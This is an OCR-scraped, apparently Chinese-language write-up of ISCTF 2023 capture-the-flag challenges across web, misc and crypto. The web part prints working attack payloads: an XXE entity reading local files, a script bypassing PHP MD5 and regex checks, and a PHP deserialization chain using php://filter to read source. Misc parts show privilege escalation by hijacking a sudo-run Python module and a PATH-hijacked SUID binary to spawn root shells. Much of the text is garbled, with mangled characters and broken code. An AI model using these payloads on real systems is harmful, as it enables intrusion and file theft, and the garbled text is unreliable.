%72%64%3e%0a%3c%2 %7 5%73%65%72%3e%0a%3c%2 %7 5%73%65%72%69%6€%66%6T%3e



XEBEBA

root@4dc372e278fc:/tmp/users/aaa# 1ls

aaa.xml

root@4dc372e278fc:/tmp/users/aaa# cat aaa.xml
<!DOCTYPE test |

<!ENTITY xxe SYSTEM "file:///flag">
1>

<userinfo>
<user>
<username>&xxe;</username>
<password>123</password>
</user>
</userinfo>root@4dc372e278fc:/tmp/users/aaa#

fA[EEe?
IEREE AL

WMERFFLEIR, ©dieHBPE, FllxxefpayloadEEBusernameifiEEEHNING, XAHERE

—MEIRAYERBHT

/1ogin.php?username=aaa&password=wrong_password

< C @ O 8 12422227163 L ¢ 3 )

DrwEses @ wFtE D sARy O RsEe @ coPRiEL=RE. & Java ERFFHERT..  (£) Burp Suite Professi.. () hitp:172.52.125.52...

Password error for User.flag{test_flag}

O O=Es BDsle Owda NAEg {)utess Ou Onusr B e ¢ TREmE B aSEF @ HackBar

Encryption - Encoding - olL - ASS T (

g Load URL http://124.222 27.163:8003/login.php7username=aaadpassword=wrong_password
& Spilit URL
» | Execute
Post data Referer User Agent Cookias Clear Al


af://n198

HAA fpclose

JERS:

<?php

highlight_file(__FILE_);

error_reporting(0);

require 'flag.php';

$str = (String)$_POST['pan_gu'];

$num = $_GET['zhurong'];

$1idal = $_GET['"hongmeng'];

$1ida2 $_GET['shennong'];

if($1idal !'== $1ida2 && md5($1idal) === md5($1ida2)){
echo "md5%ed 71",
if(preg_match("/[0-9]1/", $num)){

die(" FRTWR2IEEY L") ;

3
elseif(intval ($num)){
if(preg_match('/.+?ISCTF/is"', $str)){
die("HAEHI");

}
if(stripos($str, '2023ISCTF') === false){
die("#ZE— M) ;
}
echo $flag;
}
}
?>

o BEERENENANSE, HEKMEEITIRE ag.

TEBEANR N getESE] (hongmeng, shennong) BIME(ELS $lidatl #0 $lida2 . ZAR(ER if £HE
AFATHIRT:

B—E:

LR $lidat1 #0 $lida2 AYE BASFFHEREHIMISINBZEERIESE, WARRBREETHT, BHE
BAMENNS B RUAT R,

XErTLAFEREEHR T,

X, intval() REISIE $num BERAHT, ENRFHAPRELRIET, BBATRMATR ik
A9=FF, BOR[E false,

hHER, HIMEANFHFBERALREE— T,
XEEFBETLMERSEST, intval() RE IR FsE AR SIREEEE .


af://n205
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BZE:

FIlT str EEE S 2023ISCTF, WRFEE, WHANER, SES $flag, (BRMBRAINFHR
RPEEH 2023ISCTF BBAHMSSIENREHRIHR, XB{EFREBSTHIS TENIRIBRE.

expiiT:

//Hi&exp

import requests

data={"pan[gu":"a"*(1000000)+"2023ISCTF"}
url="http://47.109.106.104:9999/?hongmeng[]=1&shennong[]=2&zhurong[]=1"
res = requests.post(data=data,url=url)

print(res.text)

KipBieRIa . ETiEFERIRE ag.

EMGkF

HE A fpclode

A

<?php
highlight_file(__FILE_);
error_reporting(0);

class artifact{
public $excalibuer;
public $arrow;
pubTlic function _toString({
echo "JNSaberi&# T X HIEAE ! <br>";
return $this->excalibuer->arrow;

class prepare{
public $release;
pubTlic function __get($key){
$functioin = $this->release;
echo "B IMWEFE! | <br>";
return $functioin(Q;

}
class saber{
public $weapon;
pubTic function __invoke(){
echo "JEF]! <br>";
include($this->weapon);


af://n212
af://n219

}

class summon{
public $Saber;
public $Rider;

public function _wakeup(){
echo "FFiHAMME ! <br>";
echo $this->Saber;

if(isset($_GET['payload'])){
unserialize($_GET['payload']);

?>

KR phpRF5IL.
ot
RSP E B EFENNEIRIHTRFFIL, WK wakeup(75iE, IES, XaHiTEl
$this->Saber {56, MMft& _toString() 75i%, AENXEHMATE return $this->excalibuer->arrow; 15
), MTIfRA _get) 750&. AT ESHITRI return $functioin(); IBG, MK _invoke() 753%, G
PUTERAEZER include(RiE], BESXHEERIINYANR, BIRJ3kSflag,

<?php

class artifact{

public $excalibuer;
public $arrow;

class prepare{
public $release;

}
class saber{

pubTlic $weapon = "pHp://FilTer/convert.base64-encode/resource=flag.php";
}

class summon{
public $Saber;
public $Rider;

}

$a = new artifact(Q);
$b = new prepare();

$c = new saber();

$d = new summon();

$b -> release = $c;

$a -> excalibuer = $b;
$d -> Saber = $a;

echo urlencode(serialize($d));
?>



1z17R0AI3%1§payload

0%3A6%3A%22summon%22%3A2%3A%7Bs%3A5%3A%22Saber%22%3B0%3A8%3A%22artifact¥%22%3A2%3
A%7Bs%3A10%3A%22excalibuer%22%3B0%3A7%3A%22prepare%22%3A1%3A%7Bs%3A7%3A%22releas
€%22%3B0%3A5%3A%22saber%22%3A1%3A%7Bs%3A6%3A%22weapon%22%3Bs%3A52%3A%22pHp%3A%2 F
%2FFilTer%2Fconvert.base64-

encode%2Fresource%3Dflag.php%22%3B%7D%7Ds%3A5%3A%22arrow%22%3BN%3B%7Ds%3A5%3A%22

Rider%22%3BN%3B%7D

1£53k15flag.phphlbase.644wt5, RIS ag,

MISC
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easy_zip
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84 Solves
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stream
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157 Solves
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EROEA
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50 Solves
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40 Solves

& 856

status
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47 Solves

& 799

ezUSB
39 Solves
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45 Solves

@ Bes

EZcrc
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16 Solves

# 980
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SR ERTEEIO TR,

Fbinwalkotr

%mmﬂKEMDﬁm

ECIMAL HEXADECIMAL DESCRIPTION

PNG image, 640 x 890, bit/color RGB, non-interlaced
08116 0x1A654 mcrypt 2.5 encrypted data, algorithm: "$", keysize: 2194 bytes, mode: "H",
09168 0x1AA70 mcrypt 2.5 encrypted data, algorithm: "$", keysize: 2194 bytes, mode: "H",
}63162 0x897DA JPEG image data, JFIF standard 1.01

RIME_KEE
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rocessing: end2.png
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B MMERS
HREVHOMEN: =8 RE. Y5, T GW. VS AF e BE sl W kE

flag{acal95fd3def2392548d029767dbf766}

ATEAEATEWRT A TER EAEER BT R A E R A RS A TE R A R OI AN TAF A TE A TE A TE [ AN RIS 20 18 1 dRni s 2 15 A R SCU A A
AT A SO PRI 1 rERIGE 2 [ 24 1 15 PR S SR SRR RO R it M 20 IE A2 20 1E BB 2 530 3 IE A NI SRR A A BN A ik ACs iR

sudopy

HETA: mikannse
FActf:ctfiEiEsshiZEsE, sudo - KIMEEHIT— M pythonBlA, FEIXMNHZAER T webbrowserfE
Find / -name “webbrowse.py” 2>/dev/null, ZIMBEIESNRE

EEARINos.system(/bin/bash’), sudo#ifT, 121X

status

HERA: mikannse

Fctf.ctfiEiEsshiEz, AI—1checkgenshin Zi##I304, FEHABSUID

TEEIAME, FIDAFTF, mainEREFRIMAsystemazSHIIT 7 servicetg<$, HEFRNZEETER.
echo '#!/bin/bash'>service
echo '/bin/bash'>>service
export PATH=/home/ctf:$PATH

chmod +x service
./checkgenshin

=


af://n268
af://n277

spalshes

HER A : DOUBL3SEV3N

%3 python BB, 4D spashes.txt {4F 2 base64 J7h3:

1,2.75,1,1,2.5,1,1,2.25,1,1,1.75,1,1,2,1,1,3,1,1.5,3,1,2,3,1,2,2.75,1,2,2.5,1, 2,
2.25,1,2,2,1,2,1.75,1,2,1.5,1,1,2.25,1,1.5,2.25,1,1,1.5,1,1.5,1.5,1,4,2.75,1,4,2
.5,1,3,3,1,3.5,3,1,4,3,1,3.5,2.25,1,4,2.25,1,4,2,1,4,1.75,1,4,1.5,1,3,1.5,1,3.5,
1.5,1,3,2.25,1,3,2.5,1,3,2.75,1,5,3,1,5.5,3,1,6,3,1,6,2.25,1,6,2,1,6,1.75,1,6,1.
Dpdhg DD pila Dl DpdlaDgily5gRaBB il 50D p20lDpily DgRaDgilyDgRa 7S gl 7B pdlg 75y pilyBy il &
1203 5dhp B2 ydl8ka Bl 8y 2al/D gl 82025 gdyBgila 7S5 dlg DBl 90D o B dlydf) 38 il Ay 20 /S 5Ly dL
0,2.5,1,10,2.25,1,9.5,2.25,1,9,2.25,1,9,1.5,1,9.5,1.5,1,10,1.5,1,10,2,1,10,1.75,
1,11.5,3,1,12,3,1,11,3,1,12,2.25,1,12,2,1,12,1.75,1,12,1.5,1,11.5,1.5,1,11,1.5,1
5Ly dho 75 g dlg dliky 2 dlg Ly 2023 g il dlily 20 S g dlg diily 2 0 79 g dby ke 5y 20 25 p dl

HELXMAELRIZERE. BEBRRBLATIRTR, spalshes PXERRMRIER, FHANE THEX
ME3IN—H, MWET xyz =Px, BHRRXE— xyz AIERE python EF<E:

import matplotlib.pyplot as plt

Tis =
[1,2.75,1,1,2.5,1,1,2.25,1,1,1.75,1,1,2,1,1,3,1,1.5,3,1,2,3,1,2,2.75,1,2,2.5,1,2
,2.25,1,2,2,1,2,1.75,1,2,1.5,1,1,2.25,1,1.5,2.25,1,1,1.5,1,1.5,1.5,1,4,2.75,1,4,
2.5,1,3,3,1,3.5,3,1,4,3,1,3.5,2.25,1,4,2.25,1,4,2,1,4,1.75,1,4,1.5,1,3,1.5,1,3.5
,1.5,1,3,2.25,1,3,2.5,1,3,2.75,1,5,3,1,5.5,3,1,6,3,1,6,2.25,1,6,2,1,6,1.75,1,6,1
.5,1,5.5,1.5,1,5,1.5,1,5,2.25,1,5.5,2.25,1,5,2.5,1,5,2.75,1,7,3,1,7.5,3,1,8,3,1,
8,2.5,1,8,2,1,8,1.5,1,8,2.75,1,8,2.25,1,8,1.75,1,9,3,1,9.5,3,1,10,3,1,10,2.75,1,
10,2.5,1,10,2.25,1,9.5,2.25,1,9,2.25,1,9,1.5,1,9.5,1.5,1,10,1.5,1,10,2,1,10,1.75
,1,11.5,3,1,12,3,1,11,3,1,12,2.25,1,12,2,1,12,1.75,1,12,1.5,1,11.5,1.5,1,11,1.5,
1,11,1.75,1,11,2,1,11,2.25,1,11,2.5,1,11,2.75,1,11.5,2.25,1]

x = 1is[0::3]
y = 1is[1::3]
z = 1is[2::3]

fig = plt.figure()

ax = plt.figure().add_subplot(111l, projection = '3d")
ax.set_title('spalshes')

ax.set_xlabel('X Label")

ax.set_ylabel ('Y Label")

ax.set_zlabel('z Label")

ax.scatter(x,y,z,c = 'r',marker = '.")
plt.legend('x1")

plt.show()
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BITHRRXRE:

. Figure 2 — O X
Spalshes
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EEAEALIEZIET: 895736, XELEMMNERI png BIRRIZR. XETEE[HZE SRE.

INRBAERBRBAN THEEEBAE, REELEN. (BATUAREEF) ZEET, BR
BATHES, O EEsEEEMEIRBIA L, £2] flag

FLAG:ISCTF{8374-su23-9s7e-2375-js65-555g}

ISCTF{8374-su23-9s7e-237s-js65-55sg}

azimuth=—91° , elevation=13"

—IL AR ZH

HEAfOre5ee

&= ERlag, HEflag.zip(resourceX{HLEEERIKBAILILE), RIEEEEETREAIREE &
MiREEEEE, RiEunexpected EOF while parsing, &IUXERIZESyntaxErrorfiA~E&TabError
L uSyntaxError, fRFFEDSflag


af://n300
af://n307

DISK

HEA: mumuzi

winhex3TF#E,, #EI$Extend---$Usnjrnl---$)

S, ASSERNTFS Log Tracker (BAXBABFRVAIUFHNOTABERXMIAILART)
INECS)SZi, AfRERAbIZE, Siticsy

BB RMBREELFENTNRE

XEEHRIAIET. ot T :

[1230193492,1182487903,1918846768,811884366,1413895007,1298230881,1734701693]

from Tibnum import n2s

S =
[1230193492,1182487903,1918846768,811884366,1413895007,1298230881,1734701693]
print(''.join(n2s(i).decode() for i in s))

ezUSB

HEA . mumuzi

https://github.com/Mumuzi7179/UsbKeyboard Mouse Hacker Gui

ERTEfEEREmITE, %EFEusbhidfIBluetoothDBIIZHFEREEE, HusbhidIEHEER/I\S,
J9ZAd7EBluetoothPIFHRERAS, & T capZa/N\B

BYESERIVRNA]

PNGHIEAREH

HFA: mumuzi
partEMEREE (FHEETENEEAERSE. TECRQ)
part2:LSB, stegsolveE#4J#%ER0OGOBORNA]

part3:34E, 0108winhexBEiEEEREBHERpart3.txtAE

Ez misc


af://n307
af://n318
https://github.com/Mumuzi7179/UsbKeyboard_Mouse_Hacker_Gui
af://n326
af://n334

HEA: Ten

BYpptHEIEEENES, MEESHTHRE, AREENXMHEE, R _HiE158fag

=Q
Wi
HEA: sxla

[EREENAEFZE, EEFHBARCHPRIBITONEIFIEN, ZHEE306256

FAEEREHRRE—SKERFI—NMERXE, 4/MOEHIEER, BRPRIGRRVEIEZ0, ERX
NREALUERGRRERB—IKE A,

THERMtpythoniAs :

from PIL import Image
#IZ AT B 2K new . png R B B $E 0 H Sk
iml = Image.open('"lnew.png™)

width = iml.width//10
height = iml.height//10

new = Image.new("RGB", (width,height))
for x in range(width):
for y in range(height):
wl = iml.getpixel((x*10,y*10))
new.putpixel((x,y),wl)
new.show()
new.save("flag.png")

REAE R ERzstege] LURENH B laghE F-.

INRIMVE
HEA . Qjzhalx

RERA/ NG : z023nBEAIZGRzero, oftEone, ngitEnine, FE/NEiRAIHIXEE, &ERR
AKIF01239%%eEE, 45678 NEE, ME 4L, H—T#iEflag

stream

HETA: guoql
BiESQL, WNERAINANEREIESIKER1072FE—TRHEASCIHSE]


af://n340
af://n349
af://n355

73 83 67 84 70 123 48 111 112 115 33 45 89 48 117 45 70 49 110 100 45 84 104 51
45 83 51 99 114 101 116 45 102 108 97 103 33 33 33 125

NMETIRiREPE

HE A fpclose

TEMHE, BE, RIS loginmp3, B— M EMXMY, FEAILUEN, BEAFEREEEE. £A

161EH TEFTFAI:

&0 -BA

B591-A01F

) 62 69

TS rartERE, ESIIHER: login.rar, SRERIISA-RE— N AR login.pcapng
. BRTESH, AIE— htpiEa:

[ ]hten

%] -]+

No, Lime Source

Destination Protocol  Length Info

218.24.168.45 HTTP 1326 POST /MewPage/Login.aspx?ReturnUrl=%2f HTTP/1.1 (application/x-ww-fomi-ur]

11 1.927364 192.168.189.112
- 15 1.967007

718.24.168.45
B2, BERRAITCPI

152.168.189.112 ATTP 931 ATTP/1.1 200 OK (text/ntml)

(A ]ntee ~]+
No. Time Source Destination Protocol  Length Info
Big 11 1.927364 192.168.189.112 218.24.168.45 HTTP 1326!POST /NewPage/Login.aspx?Returnurl=%2f HTTP/1.1 (application/x-www-form-url
- 19 1.967007 218.24.168.45 192.168.189.112 HTTP HRC/BEHIRE SEM) Ctrl+M
Re/AUEZEE S4A() Ctrl+D
RE/AGHIRE RfESE Ctrl+T
). Ctrl+Shift+T
SEER D
{RIBRRITHOETR
fiZator= vl
EEEATRE
HEEE
SCTP »
BRI O TCP it Ctrl+Alt+Shift+T
UDP Ctrl+Alt+Shift+U
sl DCCP Stream Ctrl+Alt+Shift+E
EER D LS Ctrl+Alt+Shift+S
Decode As... HTTP it Ctrl+Alt+Shift+H
EEOSRIEW) HTTP/2 Stream
QUIC Stream
SIP Call

TTITEMflas -
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A ADflag:

‘ Wireshark - IBER TCP i (tcp.stream eq 2) - login.pcapng — a

POST /NewPage/Login.aspx?ReturnuUrl=%2f HTTP/1.1

Host: 218.24.168.45:6688

Connection: keep-alive

Content-Length: 383

Cache-Control: max-age=e

Upgrade-Insecure-Requests: 1

Origin: http://218.24.168.45:6688

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrom
e/117.0.0.0 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*
;0=0.8,application/signed-exchange;v=b3;q=0.7

Referer: http://218.24.168.45:6688/NewPage/Login.aspx?ReturnuUrl=%2f

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Cookie: .XfzUser=EACE436461FD058FAB8F80AB32B5684E629F669712126791E00534397CD23DAEA710CCCEBCD72F3B8
3A1FA379B9D284EC6DO832232B227240F37BA1880656B7B8FA3E42A18C4EFBD898805811C7C46DC; ASP.NET_SessionId
=slzgjelrxl4plfaqzrqgbooe

hidIp=39.152.148.33& EVENTTARGET=&__EVENTARGUMENT=& _VIEWSTATE=%2FwEPDWUKMTYINTY2MzgxNWRkWAq555e9
iDG%2B5JKbb0xit8zBuY5d6CI9jHNk1QBKQEA%3D& EVENTVALIDATION=%2FWEWCAK1%2F6XMBQK11bKzCQLG8eCkDWLRxCX
7CWKNSNzNBgKWrsS6AwWLB6b6ZDAL604PRA7ey86CIMAI3Zk7GyZhLO5I6D%2FaRhdsEFzol1tJubInf2&txtUserName=admin&
txtUseerdiflag%?dedhr836459 83%7D&rdoSelect=teacher&btnlLoginl=+%B5%C7+%C2%BC+&hidLogin=HTTP/1.1
200 0K

Nate: Wed. 11 Ort 2022 AQ:2A:3R GMT

%7BE{, %7/DEY, BHEHREEH TR, MANiscti{(}E32R0F.,

INEERIRE

HEIA : DOUBL3SEV3N
E: =, png = aes

E4EEEN 010, CTRL+f##ZR 504B 01 02 , HENMNZBXAHHILBIRERL, BRS 09 BB 00 40
T:

4B 01

41

[ |
U

00
iy

II. JI In. JI

=N

LAl =]

A
DA
4
A

00 00
00 00
DO FF

BRY 00 AERROSINEE, PAfS txt A TFFERR B ik

1 flag.txt - ig&A

SHHF) $REE) BR(0) EE(V) BanH)
AIEANERFMER N FIFRRAA, BARR, (REESR/INERID?

U2FsdGVkX1/ij5Hxtt6G8tDvbXIQcMU 6isLpLmxgxW8mOmFIB4DgBGXSR3cekc)
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BRI TR —KEEER. XPFRBEEIUREL AES I1%. BABRETEREES B, %
png BRI, ¥ 10 &30 83 1521

50 4E 47 0D QA 14 nA 0O 00 00 OD
00 06 84 00 OC 06 10 28 06 00 00 00
00 00 00 01 00

04 00 00 B1 &F
00 09 00 00 OE C3 00 00 OE C3
00 00 FF A5 78 5E EC FD 4D

2
g ga‘

/SCTE2ZDA 3

R/ 15CTF2023

AES TE46fB%5:  https://tool.oschina.net/encrypt/

BESL: .S
ISCTF{2832-3910-232-3742-7320} EEEE:
@ AES U2FsdGVkX1/ij5Hxtt6 GBIDVbXIQeMLJBisLpLmxagxW8mOmFIB4DgBG
XSR3ceEcj
O DES
O Rc4
© Rabbit
O TripleDes
270

15CTF2023

pill- o S


https://tool.oschina.net/encrypt/

53l flag:

ISCTF{2832-3910-232-3742-7320}

easy_zip

HEmA: f00001111
5 ZipBROIR
NIJER, 6fI4EE=2h8, (HRIER ek A IR,

Ez crc

HEA: Dr34m

https://github.com/Dr34nn/CRC Cracker

dictionary = {'1': '"&"', '2': ';§{', '3': '&', "4': "E') 'S': “fn', 'e6': "B,
Y7 TEEY, '8 HIY, '9': 'EX','0': "E', 'a': W', 'b': "', 'c': "SE', 'd':
"/, el '#gY, U PR, 'g': THEF', 'h': 'mg', it g, 'jt: AT,k
YRR, T tET, 'm": TR, 'm': YiRY, 'o': 'HE', 'p': "', 'q': "K', 'r': 'H',
sty TR, 't EE,'u': "' EET,'w': AR, 'x': '#H, 'y':s 'E', 'z':
"B}
big = "K519"
flag="output'
flipped_dict = {v: k for k, v in dictionary.items()}
=0
while i < Ten(flag):

if flag[i] in flipped_dict:

print(flipped_dict[flag[i]l],end="")

else:
i+=3
print(flipped_dict[flag[i]].upper(),end="")
i+=1

B MBI AR
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https://github.com/Dr34nn/CRC_Cracker

e bumppy ® B notetxt B flagzip L& U1ZORFZFWjdPVFEWWTJSbUSXWXRNV 1UOW

EZcrc > @ bump.py 2 ...
1 krom binascii import crc32
import zipfile

crcs = {}
chars = range(128, 256)
for i in chars:
for j in chars:
ForlcS NS chakss
cres|lere32 (byites (Ears el )i RS ]

zip.ref = zipfile.ZipFile(*flag.zip', 'F°)
files = {}
for file in zip_ref.infolist():

files[int(file.filename.rstrip('.txt"'))] = file.CRC

files = sorted(files.items(), key=] 2 x[9])
files [i[1] for i in files]

for file in files:
print(’'.join([hex(i)[2:] for i in crcs[file]]), end=" ")

MNEEREE

IHSRIA]

MCSOG-J&)H
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HEA: Dr34m

ERF P AIEflagEB, REE—TRER, BE—TLE, BEIIMGEHNLT

Xttt @ iwiE EE HEE

[oh-my-zsh] It's time to up [} n do that by runni
[<200c><200c><200c><200c><200c><208c><200c><202c><202c><200c><200e><200c><208c><200c><200c><200c><200c><200e><200c><208c><200c><202c><200c><200c><200c ><2 0|
0Cc><200c><200c><200C><202c><200e><200e><200e><200C><200C><200c><200Cc><200C><200C><200e><200C><200C><200e><200C><200C><200C><200C><200C><200C><200C><200C><202C><2)
00e><202c><200e><200C><200C><200C><200C><200c><200C><200e><200e><200e><202¢><200C><200c><200C><200C><200C><200C><200C><200e><200c><200e><200C><200e><200C><200C><|
|200c><200C><200C><200C><200e><200e><200C><200e><200C><200C><200C><200C><200C><200C><200C><200e><200C><200e><200e><200C><200C><200C><200C><200C><200C><200C><200C>|
<202C><200e><202C><200e><200C><200C><200C><200C><200C><200C><200C><200e><202¢><200e><200C><200C><200C><200C><200C><200C><200C><200e><2002><200C><200e><200C><200(|
><200c><200c><200c><200c><200c><200c><202c><202c><202c><200e><200c><200c><200c><200c><200c><200c><200c><200e><202c><200c><200e><200c><200c><200c><200c><200c><200|

[c><200c><202c><202c><200e><200e><200c><200c><200c><200c><200c><200c><200e><200e><200c><200c><200c><200c><200c><200c><200c><200c><200c><200e><200C><202c><202c><20)
[0C><200c><200c><200C><200C><200C><200C><200C><202¢><202C><200C><200e><200C><200C><200c><200c><200c><200Cc><200e><200c><200e><200e><202c><200c><200C><200C><200C><2)]
[00c><200c><200c><202c><200e><200e><200c><200c><200c><200c><200c><200c><200c><200e><200e><200e><200c><200c><200c><200c><200C><200C><200c><200c><200e><200c><200e><]
|200e><202c><200Cc><200C><200C><200C><200C><200C><200C><202¢><200e><200e><202c><200C><200C><200C><200C><200C><200C><200C><200e><202C><202C><200e><200C><200C><200C>|
|<200c><200c><200c><200c><202c><202c><202c><200c><200c><200c><200c><200c><200c><200c><200e><200c><202c><200e><200e><200c><200c><200c><200c><200c><200c><200e><200(|
><200e><200e><202c><200c><200c><208c><200c><200c><200c><200e><200e><200c><202c><200c><200c><200c><200c><200c><200c><208c><200c><200e><202c><202c><200c><200c><200|

c><200c><200c><200C><200C><200C><202C><202¢><202¢><200C><2@0Cc><200C><200C><200C><200C><200C><200e><200e><200e><202c><202¢>13

Zero Width Characters for Steganography:
UJU+200B ZERO WIDTH SPACE

U+200C ZERO WIDTH NON-JOINER
0JU+200D ZERO WIDTH JOINER

U+200E LEFT-TO-RIGHT MARK
UU+202A LEFT-TO-RIGHT EMBEDDING
U+202C POP DIRECTIONAL FORMATTING
UU+202D LEFT-TO-RIGHT OVERRIDE
UJU+2062 INVISIBLE TIMES

JU+2063 INVISIBLE SEPARATOR

JU+FEFF ZERO WIDTH NO-BREAK SPACE

TSAL I 1TCAL oLeEdIIvgrdpIily odIilrpie

Original Text: | Clear | (length: 7) Steganography Text:| Clear | (length: 3
flagFiE flagFi=E

Hidden Text: [ Clear | (length: 31)
[SCTF{Lo]F0o0.L1i1_Bu_D4Me_r3N}

Download Stego Text as File

Wanderful New World

HEA . guoq|

SRBMNHRFEHERTRY, RERRERTAIE—HAR, BUABRSH TERAIEE—F
flag


af://n424

BAMEETRIRAL, 5K
07 HHANES .

B—¥EEISE R AT NGRS S ASCI 18, iS85 |—8base64 FHiLHREEIR—¥
flag, FN—HHEERIEE flag

88 48 49 658 88 49 100 80 85 107 12069 88 48 108 79 88 48 106 84 851 4982 71 102 81 61 61
<guogl= 88 48 49 68 88 49 100 80 85 107 120 69 85 48 108 79 858 438 108 54 81 4982 71 102 81 61 61

X01bX1dPUkxEX010X01TQ1RGfQ==

HalEe

TEMHE, REAHEENER. EE16#HE, RIMEMRE T pnghIsTHEsk, STk, Hnsitis
% .png BINFIHE R, BEEZEflaghlia],

E T

KB RHE—R, BEEEERNARSTHS, HERSXEEA

kA%, FES

HETA: DOUBL3SEV3N
E: SNOW 25, =BRIERY, base64 ZIR4RHD

BRPER: TEMHEEE— N EEEM— P FEXM dictxt, E4EEE ERY txt XHRERD,
dic.txt JRHEAEEERS. (£ ARCHPR.exe FESHARARETT,


af://n432
af://n437
af://n442

BRIEAEEmISFERS: blueSHARK666

tip.txt BAYESREIT base6d 1T 17 RRIBEEBEIRY, X BRESGHIT 17 IR base64 %, HIALN
T:

import base64
Sstr=""
with open('tip.txt', 'r', encoding='UTF-8') as f: #4/JI tip.txt Xff
Sstr="".join(f.readlines()).encode('utf-8")
src=Sstr
while True:
try:
src=Sstr
Sstr=base64.b64decode(Sstr) #fiEf
str(Sstr, 'utf-8")
continue
except:
pass
break
with open('result.txt','w', encoding="utf-8') as file: #5 AW
file.write(str(src, 'utf-8"))
print('ok")

BR—LTEREENFRT, ERIEMSRLT:

alphabet =
"abcdefghijklmnopgrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890! @#$%A&* () _+-={}
1"

# filename = input('#EMA i CA:")

data = input()

result = {d:0 for d in alphabet}#/ k7 it

def sort_by_value(d):

items = d.items()

backitems = [[v[1],v[0]] for v 1in items]

backitems.sort(reverse=True)

print(backitems, '\n\n") #i&HILICE KBNS BRI 75

return [ backitems[i][1] for i in range(0,len(backitems))]#¥% LIl K EI /N
B4
for d in data:

for alpha in alphabet:

if d == alpha:

result[alpha] = result[alphal + 1 #FFFHI- N

print(''.join(sort_by_value(result))) #&EamM 775

FEitsemZ/a:



G5 Gap i

C:\Users\86198\AppData\Local\Microsoft\WindowsApps\python3.8.exe C:\Users\86198\AppData\Roamin

[[2168, '1'], [1593, 's'], [1391, 'c'], [764, 'T'1, [733, 'F'1, [674, 'Z7'], [602, '@'], [541,

ISCTFZO23HaGYXpImbNxMcEjn5Beo0Qy4aD9q6PAY{zwvutsrikihgf_~ ] [WVURLKH@=871-+%) (&%$#!

BE flag.txt, AILIEZEIEEEMIEERERT, FAHEATIXE SNOW [R5, 1XEBH flag BEXERAN, E
IEHY flag EREETE flag.txt 34, REHIZCRLENINIEEIRY ISCTFZ023,

RN

SNOW.EXE -C -p "ISCTFz023" flag.txt

IH(LF‘

(RiRZ T SRR

HEA . DOUBL3SEV3N
EE: Ook %, base64

BHERA doox Y, FIFEESHI “1RRER" SR R, FIETA Ook % & “IRREH i
“Ook.”; "BERF"EHaS: “Ook!”; “BEFEMES: “Ook?”, T EEMIIIHEDIIGE2EIT], S Ook
R

11d314pXe jwPcCw]JsPAOqT7sJczdRdTs JcCEUsP1Z

Text to Ook! || Text to short Ook! Ook! to Text

BEI— =58 ild3l4pXejwPcCw)sPAOq7s)czdRdTs|cCEUSP1Z

base64 f#E, FRRIBA AR, EE—T:


af://n461

Kecipe [« BN N | mnput i
) ’ ) ild3l4pXejwPcCwlsPADQ7sJczdRdTsJcCEUSP1Z
F URL safe (RFC 4648 §5): A-Za-z0-9-_
Filename safe: A-Za-z0-9+-=
itoabd: ./0-9A-Za-z=
XML: A-Za-z0-9_,
| y64 A-Za-z0-9. - Output
z64: 0-O9a-zA-2+/= ]

- PRadiv_RA IBEC ASRM- N_QA_Ta_va /-

me 40 = 1

ISCTF{9832h-592hw-23u7w-2j8s8}

STEP BAKE! . . :

ISCTF{9832h-s92hw-23u7w-2j8s0}

Crypto

> CRYPTO

ttHEks JeEe easy_rsa rsa_d
148 solves 237 Solves 282 solves 276 Solves

® se @ 50 ® 50 @® 50

signin EasyAES 1ZRSA ezRSA(t)
48 Solves 28 Solves 23 Solves 14 Solves

@ 7182 @ 991 @ 955 @ 984

baby group
2 Solves

@ 1000

Beyond Hex, Meet Heptadecimal

HEIA : mumuzi
XEE 7bit and binary ScAlERIEEREE7bitkMi

exp:

from Crypto.Util.number import bytes_to_long

s = '"ID71QI6UV7NRV5ULVIDI1PTVIDVINVBQUNT'
binary_str = "'
for char 1in s:
if '0' <= char <= '9":
value = int(char)
else: # A-E
value = 10 + ord(char) - ord('A")
binary_repr = bin(value)[2:].zfi11(5)
binary_str += binary_repr


af://n472
af://n475

# Convert the binary string to ASCII

decoded_str = "'

for i in range(0, len(binary_str), 7):
char_value = int(binary_str[i:i+7], 2)
decoded_str += chr(char_value)

print(decoded_str)

EasyAES

HAA . Dexterlie

from secret import flag,key

from Crypto.Util.number import *
from Crypto.Cipher import AES
import os

assert(len(flag)==39)
assert(len(key)==16)

def padding(msg):

tmp = 16 - len(msg)%16

pad = hex(tmp)[2:].zfi11(2)

return bytes.fromhex(pad*tmp)+msg
def encrypt(message,key,iv):

aes = AES.new(key,AES.MODE_CBC,iv=1iv)

enc = aes.encrypt(message)

return enc
iv = os.urandom(16)
message = padding(flag)

hint = bytes_to_long(key)Abytes_to_long(message[:16])

enc = encrypt(message,key,iv)
print(enc)
printChexChint))
b'bsF\xb6m\xcf\x94\x9fgl\xfaxG\xd4\xa3\x04\xfb\x9c\xac\xed\xbe\xc4\xcO\xb5\x899 |
u\xbf9e\xe0\xab\xd
b5\xa8x\x84\x95(\xc6\x18\xfe\x07\x88\x02\xelv'
0x47405a4847405a48470000021a0f2870


af://n482

padding B REANFIEERE \t\t\ e\ T\t
R flag FF3L2 15CTF{
EFFCBONEREYE, BERS key MRE—IRE iv BNTIRE

exp:

from Crypto.Util.number import *
from Crypto.Cipher import AES
import os
def padding(msg):

tmp = 16 - len(msg)%16

pad hex(tmp) [2:].zfi11(2)

return bytes.fromhex(pad*tmp)+msg
hint = 0x47405a4847405a48470000021a0f2870
Cc =
b'bsF\xb6m\xcf\x94\x9fgl\xfaxG\xd4\xa3\x04\xfb\x9c\xac\xed\xbe\xc4\xcO\xb5\x899 |
u\xbf9e\xe0\xab\xd
b5\xa8x\x84\x95(\xc6\x18\xfe\x07\x88\x02\xelv'
m = b"\t\t\t\t\t\t\t\t\tISCTF{"
for i in range(256):

try:

msg = m + long_to_bytes(i)

key = Tong_to_bytes(hint A bytes_to_long(msg))

c0 = c[:16]

aes = AES.new(key,AES.MODE_ECB)

cc = aes.decrypt(c0)

iv = long_to_bytes(bytes_to_long(cc) A bytes_to_long(msg))
d = AES.new(key,AES.MODE_CBC,iv = iv)

flag = d.decrypt(c)

if (b"ISCTF{" in flag) and (flag[-1] == 125):

print(flag)
else:
pass
except:
pass

